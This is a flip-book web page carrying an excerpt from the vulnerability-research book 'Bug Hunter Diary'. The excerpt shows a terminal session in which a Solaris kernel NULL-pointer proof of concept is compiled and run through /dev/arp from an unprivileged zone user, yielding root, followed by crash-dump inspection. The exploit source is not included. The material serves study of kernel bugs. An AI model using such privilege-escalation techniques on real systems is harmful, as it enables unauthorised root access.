12.07.2015 Views

Bug Hunter Diary

Bug Hunter Diary

Bug Hunter Diary

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

solaris$ isainfo -b64I then compiled and tested the POC code as an unprivileged userinside a restricted, non-global Solaris Zone:solaris$ iduid=100(wwwuser) gid=1(other)solaris$ zonenamewwwzonesolaris$ ppriv -S $$1422: -bashflags = E: basicI: basicP: basicL: zonesolaris$ /usr/sfw/bin/gcc -m64 -o poc2 poc2.csolaris$ ./poc2[+] Opening '/dev/arp' device .. OK[+] Trying to map zero page .. OK[+] PAGESIZE: 4096[+] Zero page data:... 0x00: 0x0000000041414141... 0x08: 0x0000000000000010... 0x10: 0x0000000000000000... 0x18: 0x0000000000000000... 0x20: 0x0000000000000028... 0x28: 0x0000000000000000... 0x30: 0x0000000000000000... 0x38: 0x0000000000000000... 0x40: 0x0000000000000028... 0xa0: 0x00000000000007d0[+] The bug will be triggered in 2 seconds..solaris# iduid=0(root) gid=0(root)solaris# hostnamebobThe system crashed immediately and rebooted. After the reboot,I inspected the kernel crash files (see Section B.1 for a description ofthe following debugger commands):solaris# cd /var/crash/bob/solaris# lsbounds unix.0 vmcore.0 unix.1 vmcore.1solaris# mdb unix.1 vmcore.146 Chapter 3

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!